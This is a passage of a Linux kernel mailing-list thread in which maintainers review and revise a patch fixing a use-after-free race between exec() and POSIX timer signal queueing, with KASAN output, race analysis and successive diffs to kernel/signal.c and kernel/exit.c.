> +		return;
> +
>  	/*
>  	 * Update @tmr::sigqueue_seq for posix timer signals with sighand
>  	 * locked to prevent a race against dequeue_signal().
> @@ -3118,6 +3125,16 @@ static void retarget_shared_pending(stru
>  	}
>  }
>  
> +/*
> + * tsk::flags has PF_EXITING set which prevents signals to be queued on
> + * tsk::pending. Nothing else can touch tsk::pending anymore so it can be
> + * flushed lockless.
> + */
> +static inline void flush_pending_unlocked(struct task_struct *tsk)
> +{
> +	flush_sigqueue(&tsk->pending);
> +}
> +
>  void exit_signals(struct task_struct *tsk)
>  {
>  	int group_stop = 0;
> @@ -3130,8 +3147,10 @@ void exit_signals(struct task_struct *ts
>  	cgroup_threadgroup_change_begin(tsk);
>  
>  	if (thread_group_empty(tsk) || (tsk->signal->flags & SIGNAL_GROUP_EXIT)) {
> -		tsk->flags |= PF_EXITING;
> +		scoped_guard(spinlock_irq, &tsk->sighand->siglock)
> +			tsk->flags |= PF_EXITING;
>  		cgroup_threadgroup_change_end(tsk);
> +		flush_pending_unlocked(tsk);
>  		return;
>  	}
>  
> @@ -3157,6 +3176,8 @@ void exit_signals(struct task_struct *ts
>  out:
>  	spin_unlock_irq(&tsk->sighand->siglock);
>  
> +	flush_pending_unlocked(tsk);
> +

Is the following situation possible?

CPU 0                                CPU 1                   CPU 2
-----                                -----                   -----

exit_signals()
   spin_lock(sighand)
   tsk->flags |= PF_EXITING;
   spin_unlock(sighand)

   flush_pending_unlocked(tsk);

  ...
  do_task_dead()
                                     de_thread()
                                        // acquired tsk->flags
                                        // and signal flushed
                                        // through tasklist_lock
                                        transfer_pid()
                                                           
                                                           posix_timer_fn()
                                                              posixtimer_send_sigqueue()
                                                                 // happen to see new leader
                                                                 t = posixtimer_get_target(tmr)
                                                                 lock_task_sighand()
                                                                 // passes !PF_EXITING cond
                                                                 // but what makes sure that flush_pending_unlocked()
                                                                 // is observed here? So that signal list isn't messed up
                                                                 // pid_task() doesn't have acquire semantics
                                        release_task()


-- 
Frederic Weisbecker
SUSE Labs

Re: [PATCH] signal: Prevent exec() race

[Eric W. Biederman]

Thomas Gleixner <tglx@kernel.org> writes:

> Hyunwoo debugged the following KASAN UAF splat:
>
>   BUG: KASAN: slab-use-after-free in __send_signal_locked+0xb27/0xba0
>   Write of size 8 at addr ffff888007ed80c8 by task poc/79
>   ...
>   Call Trace:
>    __send_signal_locked+0xb27/0xba0
>    do_send_sig_info+0xa7/0x160
>    do_send_specific+0x76/0xa0
>    __x64_sys_tgkill+0x193/0x270
>   ...
>   Allocated by task 80:
>    do_timer_create+0x1a4/0x1030
>    __x64_sys_timer_create+0x145/0x190
>   ...
>   Freed by task 12:
>    kmem_cache_free_bulk+0x1f8/0x4a0
>    kvfree_rcu_bulk+0x14f/0x1c0
>    kfree_rcu_work+0x128/0x1a0
>   ...
>   Last potentially related work creation:
>    kvfree_call_rcu+0x39/0x390
>    __flush_itimer_signals+0x211/0x320
>    flush_itimer_signals+0x47/0x90
>    begin_new_exec+0xa6b/0x28c0
>
> It turned out that this happens with a non-leader exec() as Hyunwoo
> explained:
>
> de_thread() calls exchange_tids() before release_task(leader), so the
> struct pid held by a SIGEV_THREAD_ID timer created against the leader's tid
> now points to the thread which called execve(). pid_task() returns that
> thread and lock_task_sighand() on it succeeds.
>
> If the timer signal is blocked, its sigqueue stays queued on the leader's
> task::pending. The next expiry of that timer can then run while
> release_task() flushes the queue.
>
> posixtimer_send_sigqueue() checks whether the sigqueue is already queued
> with a plain list_empty(), which only reads list_head::next.
> list_del_init() is not atomic and INIT_LIST_HEAD() stores list_head::next
> before list_head::prev, so the check can pass in between. list_add_tail()
> queues the entry on the task::pending of the live thread, and the
> list_head::prev store from the flush then overwrites the list_head::prev
> link that list_add_tail() has just set.
>
> __flush_itimer_signals() does not undo that either. With list_head::prev
> pointing at the entry itself, its list_del_init() only stores the same
> values again, so the entry is not removed from the list. It is still there
> after the last reference is dropped and the timer is freed by RCU, and the
> list_add_tail() of a later tgkill() follows that list_head::prev into the
> freed timer.
>
> This problem is due to a recent commit which moved the sigqueue flush
> out of the sighand lock held region. Before that it was properly
> serialized.
>
> Hyonwoo proposed to fix this by using list_del_init_careful(), but that
> just papers over the underlying problem. After some disucssions and
> various attempts to solve it, Eric pointed out that there is no reason
> to flush task::pending late in release_task() and it should be done in
> exit_signals() already.
>
> As nothing can collect and deliver signals which are queued in a dying
> task's pending queue, there is no reason to delay it further.
>
> But it has to be ensured that no signals can be queued into it after that
> point. exit_signals() sets PF_EXITING in task::flags, which can be used as
> an indicator for this.
>
> Cure it by:
>
>   - Preventing signal queueing for task private signals (PIDTYPE_PID) when
>     the task has PF_EXITING set in __send_signal_locked() and in
>     posixtimer_send_sigqueue().
>
>   - Protecting the unlocked setting of PF_EXITING in exit_signals() for the
>     task group empty and the group exit case with sighand lock
>
>   - Flushing task::pending signals right there.
>
>     This can be done unlocked because PF_EXITING prevents further signals
>     to be queued and there is no other code which accesses task::pending.
>
> Fixes: fb3bbcfe344e ("exit: change the release_task() paths to call flush_sigqueue() lockless")
> Reported-by: Hyunwoo Kim <imv4bel@gmail.com>
> Debugged-by: Hyunwoo Kim <imv4bel@gmail.com>
> Suggested-by: "Eric W. Biederman" <ebiederm@xmission.com>
> Signed-off-by: Thomas Gleixner <tglx@kernel.org>
> Cc: stable@vger.kernel.org
> Closes: https://patch.msgid.link/aok1rdkBgZsynHZB@v4bel

This changes partially fixes another bug.  Recursive
UCOUNT_RLIMIT_SIGPENDING should be decremented when the process exits
and not when the process is reaped.


Others have noticed possible races flushing the siqueue not
holding siglock.

If I read the history correctly in flush_sigqueue with irqs
disabled can trigger the NMI lock-up detector.  So flush_sigqueue
was moved outside of siglock_irq.

Apparently it took KASAN to make kmem_cache_free slow enough
to trigger the lock-up detector.

The fix to avoid the lock-up detector was not comprehensive and
flush_sigqueue is still called in many places with irqs disabled.
So if necessary the code can probably just take siglock.


We can also avoid problems by updating the loops that go:
for_each_thread(p, q)
	flush_sigqueue_mask(p, &flush, &t->pending)

To include
	if (t->flags & PF_EXITING)
        	continue;

Or perhaps better tweak flush_sigqueue_mask to take t (and not p) and
perform the test of PF_EXITING there.  The only current uses I see of
the passed in task is to get a reference to signal_struct.


Eric

> ---
>  kernel/exit.c   |   11 ++++++-----
>  kernel/signal.c |   23 ++++++++++++++++++++++-
>  2 files changed, 28 insertions(+), 6 deletions(-)
>
> --- a/kernel/exit.c
> +++ b/kernel/exit.c
> @@ -299,12 +299,13 @@ void release_task(struct task_struct *p)
>  	free_pids(post.pids);
>  	release_thread(p);
>  	/*
> -	 * This task was already removed from the process/thread/pid lists
> -	 * and lock_task_sighand(p) can't succeed. Nobody else can touch
> -	 * ->pending or, if group dead, signal->shared_pending. We can call
> -	 * flush_sigqueue() lockless.
> +	 * This task was already removed from the process/thread/pid lists and
> +	 * lock_task_sighand(p) can't succeed. If it's the group leader then
> +	 * flush tsk->signal->shared_pending. tsk->pending has been flushed
> +	 * already in exit_signals(). Nothing else can touch
> +	 * signal->shared_pending anymore, so flush_sigqueue() can be invoked
> +	 * lockless.
>  	 */
> -	flush_sigqueue(&p->pending);
>  	if (thread_group_leader(p))
>  		flush_sigqueue(&p->signal->shared_pending);
>  
> --- a/kernel/signal.c
> +++ b/kernel/signal.c
> @@ -1030,6 +1030,10 @@ static int __send_signal_locked(int sig,
>  	lockdep_assert_held(&t->sighand->siglock);
>  
>  	result = TRACE_SIGNAL_IGNORED;
> +
> +	if (unlikely(type == PIDTYPE_PID && (t->flags & PF_EXITING)))
> +		goto ret;
> +
>  	if (!prepare_signal(sig, t, force))
>  		goto ret;
>  
> @@ -1990,6 +1994,9 @@ void posixtimer_send_sigqueue(struct k_i
>  	if (!likely(lock_task_sighand(t, &flags)))
>  		return;
>  
> +	if (unlikely(tmr->it_pid_type == PIDTYPE_PID && (t->flags & PF_EXITING)))
> +		return;
> +
>  	/*
>  	 * Update @tmr::sigqueue_seq for posix timer signals with sighand
>  	 * locked to prevent a race against dequeue_signal().
> @@ -3118,6 +3125,16 @@ static void retarget_shared_pending(stru
>  	}
>  }
>  
> +/*
> + * tsk::flags has PF_EXITING set which prevents signals to be queued on
> + * tsk::pending. Nothing else can touch tsk::pending anymore so it can be
> + * flushed lockless.
> + */
> +static inline void flush_pending_unlocked(struct task_struct *tsk)
> +{
> +	flush_sigqueue(&tsk->pending);
> +}
> +
>  void exit_signals(struct task_struct *tsk)
>  {
>  	int group_stop = 0;
> @@ -3130,8 +3147,10 @@ void exit_signals(struct task_struct *ts
>  	cgroup_threadgroup_change_begin(tsk);
>  
>  	if (thread_group_empty(tsk) || (tsk->signal->flags & SIGNAL_GROUP_EXIT)) {
> -		tsk->flags |= PF_EXITING;
> +		scoped_guard(spinlock_irq, &tsk->sighand->siglock)
> +			tsk->flags |= PF_EXITING;
>  		cgroup_threadgroup_change_end(tsk);
> +		flush_pending_unlocked(tsk);
>  		return;
>  	}
>  
> @@ -3157,6 +3176,8 @@ void exit_signals(struct task_struct *ts
>  out:
>  	spin_unlock_irq(&tsk->sighand->siglock);
>  
> +	flush_pending_unlocked(tsk);
> +
>  	/*
>  	 * If group stop has completed, deliver the notification.  This
>  	 * should always go to the real parent of the group leader.

Re: [PATCH] signal: Prevent exec() race

[Thomas Gleixner]

On Mon, Aug 31 2026 at 14:44, Oleg Nesterov wrote:
> On 08/31, Thomas Gleixner wrote:
>>
>> +static inline void flush_pending_unlocked(struct task_struct *tsk)
>> +{
>> +	flush_sigqueue(&tsk->pending);
>> +}
>> +
>>  void exit_signals(struct task_struct *tsk)
>>  {
>>  	int group_stop = 0;
>> @@ -3130,8 +3147,10 @@ void exit_signals(struct task_struct *ts
>>  	cgroup_threadgroup_change_begin(tsk);
>>
>>  	if (thread_group_empty(tsk) || (tsk->signal->flags & SIGNAL_GROUP_EXIT)) {
>> -		tsk->flags |= PF_EXITING;
>> +		scoped_guard(spinlock_irq, &tsk->sighand->siglock)
>> +			tsk->flags |= PF_EXITING;
>>  		cgroup_threadgroup_change_end(tsk);
>> +		flush_pending_unlocked(tsk);
>
> Hmm... the exiting thread is still visible to for_each_thread().
> Can't this flush_pending_unlocked() race with (say) do_sigaction() ?

Bah. Yes.

Re: [PATCH] signal: Prevent exec() race

[Thomas Gleixner]

On Mon, Aug 31 2026 at 14:52, Frederic Weisbecker wrote:
> Le Mon, Aug 31, 2026 at 12:50:46PM +0200, Thomas Gleixner a écrit :
>
> Is the following situation possible?
>
> CPU 0                                CPU 1                   CPU 2
> -----                                -----                   -----
>
> exit_signals()
>    spin_lock(sighand)
>    tsk->flags |= PF_EXITING;
>    spin_unlock(sighand)
>
>    flush_pending_unlocked(tsk);
>
>   ...
>   do_task_dead()
>                                      de_thread()
>                                         // acquired tsk->flags
>                                         // and signal flushed
>                                         // through tasklist_lock
>                                         transfer_pid()
>                                                            
>                                                            posix_timer_fn()
>                                                               posixtimer_send_sigqueue()
>                                                                  // happen to see new leader
>                                                                  t = posixtimer_get_target(tmr)
>                                                                  lock_task_sighand()
>                                                                  // passes !PF_EXITING cond
>                                                                  // but what makes sure that flush_pending_unlocked()
>                                                                  // is observed here? So that signal list isn't messed up
>                                                                  // pid_task() doesn't have acquire semantics


On some far fetched completely out of order CPU that might be possible,
but it's moot as it's already established that we can't do that lockless
at this point.

Re: [PATCH] signal: Prevent exec() race

[Frederic Weisbecker]

Le Tue, Sep 01, 2026 at 02:55:02PM +0200, Thomas Gleixner a écrit :
> On Mon, Aug 31 2026 at 14:52, Frederic Weisbecker wrote:
> > Le Mon, Aug 31, 2026 at 12:50:46PM +0200, Thomas Gleixner a écrit :
> >
> > Is the following situation possible?
> >
> > CPU 0                                CPU 1                   CPU 2
> > -----                                -----                   -----
> >
> > exit_signals()
> >    spin_lock(sighand)
> >    tsk->flags |= PF_EXITING;
> >    spin_unlock(sighand)
> >
> >    flush_pending_unlocked(tsk);
> >
> >   ...
> >   do_task_dead()
> >                                      de_thread()
> >                                         // acquired tsk->flags
> >                                         // and signal flushed
> >                                         // through tasklist_lock
> >                                         transfer_pid()
> >                                                            
> >                                                            posix_timer_fn()
> >                                                               posixtimer_send_sigqueue()
> >                                                                  // happen to see new leader
> >                                                                  t = posixtimer_get_target(tmr)
> >                                                                  lock_task_sighand()
> >                                                                  // passes !PF_EXITING cond
> >                                                                  // but what makes sure that flush_pending_unlocked()
> >                                                                  // is observed here? So that signal list isn't messed up
> >                                                                  // pid_task() doesn't have acquire semantics
> 
> 
> On some far fetched completely out of order CPU that might be possible,
> but it's moot as it's already established that we can't do that lockless
> at this point.

Sorry I probably missed something in the discussion, what can't we do
lockless?

Thanks.

-- 
Frederic Weisbecker
SUSE Labs

Re: [PATCH] signal: Prevent exec() race

[Thomas Gleixner]

On Mon, Aug 31 2026 at 10:26, Eric W. Biederman wrote:
>
> This changes partially fixes another bug.  Recursive
> UCOUNT_RLIMIT_SIGPENDING should be decremented when the process exits
> and not when the process is reaped.
>
> Others have noticed possible races flushing the siqueue not
> holding siglock.

Yes. I doesn't work.

> If I read the history correctly in flush_sigqueue with irqs
> disabled can trigger the NMI lock-up detector.  So flush_sigqueue
> was moved outside of siglock_irq.
>
> Apparently it took KASAN to make kmem_cache_free slow enough
> to trigger the lock-up detector.
>
> The fix to avoid the lock-up detector was not comprehensive and
> flush_sigqueue is still called in many places with irqs disabled.
> So if necessary the code can probably just take siglock.

Right, invoke flush_sigqueue() right after setting PF_EXITING.

But we can be smarter than that. See below.

> We can also avoid problems by updating the loops that go:
> for_each_thread(p, q)
> 	flush_sigqueue_mask(p, &flush, &t->pending)
>
> To include
> 	if (t->flags & PF_EXITING)
>         	continue;
>
> Or perhaps better tweak flush_sigqueue_mask to take t (and not p) and
> perform the test of PF_EXITING there.  The only current uses I see of
> the passed in task is to get a reference to signal_struct.

Correct. Though that check would have to be limited to flushing
tsk::pending not signal::shared_pending.

Thanks,

        tglx
---
--- a/kernel/signal.c
+++ b/kernel/signal.c
@@ -457,30 +457,44 @@ static void __sigqueue_free(struct sigqu
 	kmem_cache_free(sigqueue_cachep, q);
 }
 
-void flush_sigqueue(struct sigpending *queue)
+static void flush_sigqueue_list(struct list_head *head)
 {
-	struct sigqueue *q;
+	struct sigqueue *q, *tmp;
 
-	sigemptyset(&queue->signal);
-	while (!list_empty(&queue->list)) {
-		q = list_entry(queue->list.next, struct sigqueue , list);
+	list_for_each_entry_safe(q, tmp, head, list) {
 		list_del_init(&q->list);
 		__sigqueue_free(q);
 	}
 }
 
+void flush_sigqueue(struct sigpending *queue)
+{
+	sigemptyset(&queue->signal);
+	flush_sigqueue_list(&queue->list);
+}
+
+static void sigqueue_splice_pending(struct sigpending *queue, struct list_head *head)
+{
+	sigemptyset(&queue->signal);
+	list_splice_init(&queue->list, head);
+}
+
 /*
  * Flush all pending signals for this kthread.
  */
 void flush_signals(struct task_struct *t)
 {
-	unsigned long flags;
+	LIST_HEAD(pending);
+	LIST_HEAD(shared);
 
-	spin_lock_irqsave(&t->sighand->siglock, flags);
-	clear_tsk_thread_flag(t, TIF_SIGPENDING);
-	flush_sigqueue(&t->pending);
-	flush_sigqueue(&t->signal->shared_pending);
-	spin_unlock_irqrestore(&t->sighand->siglock, flags);
+	scoped_guard(spinlock_irqsave, &t->sighand->siglock) {
+		clear_tsk_thread_flag(t, TIF_SIGPENDING);
+		sigqueue_splice_pending(&t->pending, &pending);
+		sigqueue_splice_pending(&t->signal->shared_pending, &shared);
+	}
+
+	flush_sigqueue_list(&pending);
+	flush_sigqueue_list(&shared);
 }
 EXPORT_SYMBOL(flush_signals);
 
@@ -3125,18 +3139,9 @@ static void retarget_shared_pending(stru
 	}
 }
 
-/*
- * tsk::flags has PF_EXITING set which prevents signals to be queued on
- * tsk::pending. Nothing else can touch tsk::pending anymore so it can be
- * flushed lockless.
- */
-static inline void flush_pending_unlocked(struct task_struct *tsk)
-{
-	flush_sigqueue(&tsk->pending);
-}
-
 void exit_signals(struct task_struct *tsk)
 {
+	LIST_HEAD(sigq_list);
 	int group_stop = 0;
 	sigset_t unblocked;
 
@@ -3147,10 +3152,12 @@ void exit_signals(struct task_struct *ts
 	cgroup_threadgroup_change_begin(tsk);
 
 	if (thread_group_empty(tsk) || (tsk->signal->flags & SIGNAL_GROUP_EXIT)) {
-		scoped_guard(spinlock_irq, &tsk->sighand->siglock)
+		scoped_guard(spinlock_irq, &tsk->sighand->siglock) {
 			tsk->flags |= PF_EXITING;
+			sigqueue_splice_pending(&tsk->pending, &sigq_list);
+		}
 		cgroup_threadgroup_change_end(tsk);
-		flush_pending_unlocked(tsk);
+		flush_sigqueue_list(&sigq_list);
 		return;
 	}
 
@@ -3160,6 +3167,7 @@ void exit_signals(struct task_struct *ts
 	 * see wants_signal(), do_signal_stop().
 	 */
 	tsk->flags |= PF_EXITING;
+	sigqueue_splice_pending(&tsk->pending, &sigq_list);
 
 	cgroup_threadgroup_change_end(tsk);
 
@@ -3176,7 +3184,7 @@ void exit_signals(struct task_struct *ts
 out:
 	spin_unlock_irq(&tsk->sighand->siglock);
 
-	flush_pending_unlocked(tsk);
+	flush_sigqueue_list(&sigq_list);
 
 	/*
 	 * If group stop has completed, deliver the notification.  This

Re: [PATCH] signal: Prevent exec() race

[Thomas Gleixner]

On Tue, Sep 01 2026 at 15:27, Frederic Weisbecker wrote:
> Le Tue, Sep 01, 2026 at 02:55:02PM +0200, Thomas Gleixner a écrit :
>> On some far fetched completely out of order CPU that might be possible,
>> but it's moot as it's already established that we can't do that lockless
>> at this point.
>
> Sorry I probably missed something in the discussion, what can't we do
> lockless?

Flushing the signals.

Re: [PATCH] signal: Prevent exec() race

[Eric W. Biederman]

Thomas Gleixner <tglx@kernel.org> writes:

> On Mon, Aug 31 2026 at 10:26, Eric W. Biederman wrote:
>>
>> This changes partially fixes another bug.  Recursive
>> UCOUNT_RLIMIT_SIGPENDING should be decremented when the process exits
>> and not when the process is reaped.
>>
>> Others have noticed possible races flushing the siqueue not
>> holding siglock.
>
> Yes. I doesn't work.
>
>> If I read the history correctly in flush_sigqueue with irqs
>> disabled can trigger the NMI lock-up detector.  So flush_sigqueue
>> was moved outside of siglock_irq.
>>
>> Apparently it took KASAN to make kmem_cache_free slow enough
>> to trigger the lock-up detector.
>>
>> The fix to avoid the lock-up detector was not comprehensive and
>> flush_sigqueue is still called in many places with irqs disabled.
>> So if necessary the code can probably just take siglock.
>
> Right, invoke flush_sigqueue() right after setting PF_EXITING.
>
> But we can be smarter than that. See below.
>
>> We can also avoid problems by updating the loops that go:
>> for_each_thread(p, q)
>> 	flush_sigqueue_mask(p, &flush, &t->pending)
>>
>> To include
>> 	if (t->flags & PF_EXITING)
>>         	continue;
>>
>> Or perhaps better tweak flush_sigqueue_mask to take t (and not p) and
>> perform the test of PF_EXITING there.  The only current uses I see of
>> the passed in task is to get a reference to signal_struct.
>
> Correct. Though that check would have to be limited to flushing
> tsk::pending not signal::shared_pending.

Acked-by: "Eric W. Biederman" <ebiederm@xmission.com>

I was just about to suggest removing the entire list under the lock,
and then cleaning up the list entries outside of the lock, then I saw
this email :)

I am not wild about the name sigqueue_splice_pending (what is being
spliced together).

Perhaps call it sigqueue_dequeue_pending?  I think that conveys what
is happening a little better.

Eric



>
> Thanks,
>
>         tglx
> ---
> --- a/kernel/signal.c
> +++ b/kernel/signal.c
> @@ -457,30 +457,44 @@ static void __sigqueue_free(struct sigqu
>  	kmem_cache_free(sigqueue_cachep, q);
>  }
>  
> -void flush_sigqueue(struct sigpending *queue)
> +static void flush_sigqueue_list(struct list_head *head)
>  {
> -	struct sigqueue *q;
> +	struct sigqueue *q, *tmp;
>  
> -	sigemptyset(&queue->signal);
> -	while (!list_empty(&queue->list)) {
> -		q = list_entry(queue->list.next, struct sigqueue , list);
> +	list_for_each_entry_safe(q, tmp, head, list) {
>  		list_del_init(&q->list);
>  		__sigqueue_free(q);
>  	}
>  }
>  
> +void flush_sigqueue(struct sigpending *queue)
> +{
> +	sigemptyset(&queue->signal);
> +	flush_sigqueue_list(&queue->list);
> +}
> +
> +static void sigqueue_splice_pending(struct sigpending *queue, struct list_head *head)
> +{
> +	sigemptyset(&queue->signal);
> +	list_splice_init(&queue->list, head);
> +}
> +
>  /*
>   * Flush all pending signals for this kthread.
>   */
>  void flush_signals(struct task_struct *t)
>  {
> -	unsigned long flags;
> +	LIST_HEAD(pending);
> +	LIST_HEAD(shared);
>  
> -	spin_lock_irqsave(&t->sighand->siglock, flags);
> -	clear_tsk_thread_flag(t, TIF_SIGPENDING);
> -	flush_sigqueue(&t->pending);
> -	flush_sigqueue(&t->signal->shared_pending);
> -	spin_unlock_irqrestore(&t->sighand->siglock, flags);
> +	scoped_guard(spinlock_irqsave, &t->sighand->siglock) {
> +		clear_tsk_thread_flag(t, TIF_SIGPENDING);
> +		sigqueue_splice_pending(&t->pending, &pending);
> +		sigqueue_splice_pending(&t->signal->shared_pending, &shared);
> +	}
> +
> +	flush_sigqueue_list(&pending);
> +	flush_sigqueue_list(&shared);
>  }
>  EXPORT_SYMBOL(flush_signals);
>  
> @@ -3125,18 +3139,9 @@ static void retarget_shared_pending(stru
>  	}
>  }
>  
> -/*
> - * tsk::flags has PF_EXITING set which prevents signals to be queued on
> - * tsk::pending. Nothing else can touch tsk::pending anymore so it can be
> - * flushed lockless.
> - */
> -static inline void flush_pending_unlocked(struct task_struct *tsk)
> -{
> -	flush_sigqueue(&tsk->pending);
> -}
> -
>  void exit_signals(struct task_struct *tsk)
>  {
> +	LIST_HEAD(sigq_list);
>  	int group_stop = 0;
>  	sigset_t unblocked;
>  
> @@ -3147,10 +3152,12 @@ void exit_signals(struct task_struct *ts
>  	cgroup_threadgroup_change_begin(tsk);
>  
>  	if (thread_group_empty(tsk) || (tsk->signal->flags & SIGNAL_GROUP_EXIT)) {
> -		scoped_guard(spinlock_irq, &tsk->sighand->siglock)
> +		scoped_guard(spinlock_irq, &tsk->sighand->siglock) {
>  			tsk->flags |= PF_EXITING;
> +			sigqueue_splice_pending(&tsk->pending, &sigq_list);
> +		}
>  		cgroup_threadgroup_change_end(tsk);
> -		flush_pending_unlocked(tsk);
> +		flush_sigqueue_list(&sigq_list);
>  		return;
>  	}
>  
> @@ -3160,6 +3167,7 @@ void exit_signals(struct task_struct *ts
>  	 * see wants_signal(), do_signal_stop().
>  	 */
>  	tsk->flags |= PF_EXITING;
> +	sigqueue_splice_pending(&tsk->pending, &sigq_list);
>  
>  	cgroup_threadgroup_change_end(tsk);
>  
> @@ -3176,7 +3184,7 @@ void exit_signals(struct task_struct *ts
>  out:
>  	spin_unlock_irq(&tsk->sighand->siglock);
>  
> -	flush_pending_unlocked(tsk);
> +	flush_sigqueue_list(&sigq_list);
>  
>  	/*
>  	 * If group stop has completed, deliver the notification.  This

[PATCH V2] signal: Prevent exec() race

[Thomas Gleixner]

Hyunwoo debugged the following KASAN UAF splat:

  BUG: KASAN: slab-use-after-free in __send_signal_locked+0xb27/0xba0
  Write of size 8 at addr ffff888007ed80c8 by task poc/79
  ...
  Call Trace:
   __send_signal_locked+0xb27/0xba0
   do_send_sig_info+0xa7/0x160
   do_send_specific+0x76/0xa0
   __x64_sys_tgkill+0x193/0x270
  ...
  Allocated by task 80:
   do_timer_create+0x1a4/0x1030
   __x64_sys_timer_create+0x145/0x190
  ...
  Freed by task 12:
   kmem_cache_free_bulk+0x1f8/0x4a0
   kvfree_rcu_bulk+0x14f/0x1c0
   kfree_rcu_work+0x128/0x1a0
  ...
  Last potentially related work creation:
   kvfree_call_rcu+0x39/0x390
   __flush_itimer_signals+0x211/0x320
   flush_itimer_signals+0x47/0x90
   begin_new_exec+0xa6b/0x28c0

It turned out that this happens with a non-leader exec() as Hyunwoo
explained:

de_thread() calls exchange_tids() before release_task(leader), so the
struct pid held by a SIGEV_THREAD_ID timer created against the leader's tid
now points to the thread which called execve(). pid_task() returns that
thread and lock_task_sighand() on it succeeds.

If the timer signal is blocked, its sigqueue stays queued on the leader's
task::pending. The next expiry of that timer can then run while
release_task() flushes the queue.

posixtimer_send_sigqueue() checks whether the sigqueue is already queued
with a plain list_empty(), which only reads list_head::next.
list_del_init() is not atomic and INIT_LIST_HEAD() stores list_head::next
before list_head::prev, so the check can pass in between. list_add_tail()
queues the entry on the task::pending of the live thread, and the
list_head::prev store from the flush then overwrites the list_head::prev
link that list_add_tail() has just set.

__flush_itimer_signals() does not undo that either. With list_head::prev
pointing at the entry itself, its list_del_init() only stores the same
values again, so the entry is not removed from the list. It is still there
after the last reference is dropped and the timer is freed by RCU, and the
list_add_tail() of a later tgkill() follows that list_head::prev into the
freed timer.

This problem surfaced with the recent commit which moved the sigqueue flush
out of the sighand lock held region.

Hyonwoo proposed to fix this by using list_del_init_careful(), but that
just papers over the problem. After some disucssions and various attempts
to solve it, Eric pointed out that there is no reason to flush
task::pending late in release_task() and it should be done in
exit_signals() already.

As nothing can collect and deliver signals which are queued in a dying
task's pending queue, there is no reason to delay it further.

But it has to be ensured that no signals can be queued into it after that
point. exit_signals() sets PF_EXITING in task::flags, which can be used as
an indicator for this.

Cure it by:

  - Preventing signal queueing for task private signals (PIDTYPE_PID) when
    the task has PF_EXITING set in __send_signal_locked() and in
    posixtimer_send_sigqueue().

  - Protecting the unlocked setting of PF_EXITING in exit_signals() for the
    task group empty and the group exit case with sighand lock

  - Flushing task::pending signals right there.

    Optimize that by moving the whole pending list to an on-stack list head
    under sighand lock and free the signals without the lock held.

Fixes: fb3bbcfe344e ("exit: change the release_task() paths to call flush_sigqueue() lockless")
Reported-by: Hyunwoo Kim <imv4bel@gmail.com>
Debugged-by: Hyunwoo Kim <imv4bel@gmail.com>
Suggested-by: "Eric W. Biederman" <ebiederm@xmission.com>
Signed-off-by: Thomas Gleixner <tglx@kernel.org>
Acked-by: "Eric W. Biederman" <ebiederm@xmission.com>
Cc: stable@vger.kernel.org
Closes: https://patch.msgid.link/aok1rdkBgZsynHZB@v4bel
---
V2: Don't flush w/o sighand lock held - Oleg
    Move the while pending list under the lock and free it lockless
---
 kernel/exit.c   |   11 ++++++-----
 kernel/signal.c |   37 +++++++++++++++++++++++++++++++------
 2 files changed, 37 insertions(+), 11 deletions(-)

--- a/kernel/exit.c
+++ b/kernel/exit.c
@@ -299,12 +299,13 @@ void release_task(struct task_struct *p)
 	free_pids(post.pids);
 	release_thread(p);
 	/*
-	 * This task was already removed from the process/thread/pid lists
-	 * and lock_task_sighand(p) can't succeed. Nobody else can touch
-	 * ->pending or, if group dead, signal->shared_pending. We can call
-	 * flush_sigqueue() lockless.
+	 * This task was already removed from the process/thread/pid lists and
+	 * lock_task_sighand(p) can't succeed. If it's the group leader then
+	 * flush tsk->signal->shared_pending. tsk->pending has been flushed
+	 * already in exit_signals(). Nothing else can touch
+	 * signal->shared_pending anymore, so flush_sigqueue() can be invoked
+	 * lockless.
 	 */
-	flush_sigqueue(&p->pending);
 	if (thread_group_leader(p))
 		flush_sigqueue(&p->signal->shared_pending);
 
--- a/kernel/signal.c
+++ b/kernel/signal.c
@@ -457,18 +457,28 @@ static void __sigqueue_free(struct sigqu
 	kmem_cache_free(sigqueue_cachep, q);
 }
 
-void flush_sigqueue(struct sigpending *queue)
+static void flush_sigqueue_list(struct list_head *head)
 {
-	struct sigqueue *q;
+	struct sigqueue *q, *tmp;
 
-	sigemptyset(&queue->signal);
-	while (!list_empty(&queue->list)) {
-		q = list_entry(queue->list.next, struct sigqueue , list);
+	list_for_each_entry_safe(q, tmp, head, list) {
 		list_del_init(&q->list);
 		__sigqueue_free(q);
 	}
 }
 
+void flush_sigqueue(struct sigpending *queue)
+{
+	sigemptyset(&queue->signal);
+	flush_sigqueue_list(&queue->list);
+}
+
+static void sigqueue_dequeue_pending(struct sigpending *queue, struct list_head *head)
+{
+	sigemptyset(&queue->signal);
+	list_splice_init(&queue->list, head);
+}
+
 /*
  * Flush all pending signals for this kthread.
  */
@@ -1030,6 +1040,10 @@ static int __send_signal_locked(int sig,
 	lockdep_assert_held(&t->sighand->siglock);
 
 	result = TRACE_SIGNAL_IGNORED;
+
+	if (unlikely(type == PIDTYPE_PID && (t->flags & PF_EXITING)))
+		goto ret;
+
 	if (!prepare_signal(sig, t, force))
 		goto ret;
 
@@ -1990,6 +2004,9 @@ void posixtimer_send_sigqueue(struct k_i
 	if (!likely(lock_task_sighand(t, &flags)))
 		return;
 
+	if (unlikely(tmr->it_pid_type == PIDTYPE_PID && (t->flags & PF_EXITING)))
+		return;
+
 	/*
 	 * Update @tmr::sigqueue_seq for posix timer signals with sighand
 	 * locked to prevent a race against dequeue_signal().
@@ -3120,6 +3137,7 @@ static void retarget_shared_pending(stru
 
 void exit_signals(struct task_struct *tsk)
 {
+	LIST_HEAD(sigq_list);
 	int group_stop = 0;
 	sigset_t unblocked;
 
@@ -3130,8 +3148,12 @@ void exit_signals(struct task_struct *ts
 	cgroup_threadgroup_change_begin(tsk);
 
 	if (thread_group_empty(tsk) || (tsk->signal->flags & SIGNAL_GROUP_EXIT)) {
-		tsk->flags |= PF_EXITING;
+		scoped_guard(spinlock_irq, &tsk->sighand->siglock) {
+			tsk->flags |= PF_EXITING;
+			sigqueue_dequeue_pending(&tsk->pending, &sigq_list);
+		}
 		cgroup_threadgroup_change_end(tsk);
+		flush_sigqueue_list(&sigq_list);
 		return;
 	}
 
@@ -3141,6 +3163,7 @@ void exit_signals(struct task_struct *ts
 	 * see wants_signal(), do_signal_stop().
 	 */
 	tsk->flags |= PF_EXITING;
+	sigqueue_dequeue_pending(&tsk->pending, &sigq_list);
 
 	cgroup_threadgroup_change_end(tsk);
 
@@ -3157,6 +3180,8 @@ void exit_signals(struct task_struct *ts
 out:
 	spin_unlock_irq(&tsk->sighand->siglock);
 
+	flush_sigqueue_list(&sigq_list);
+
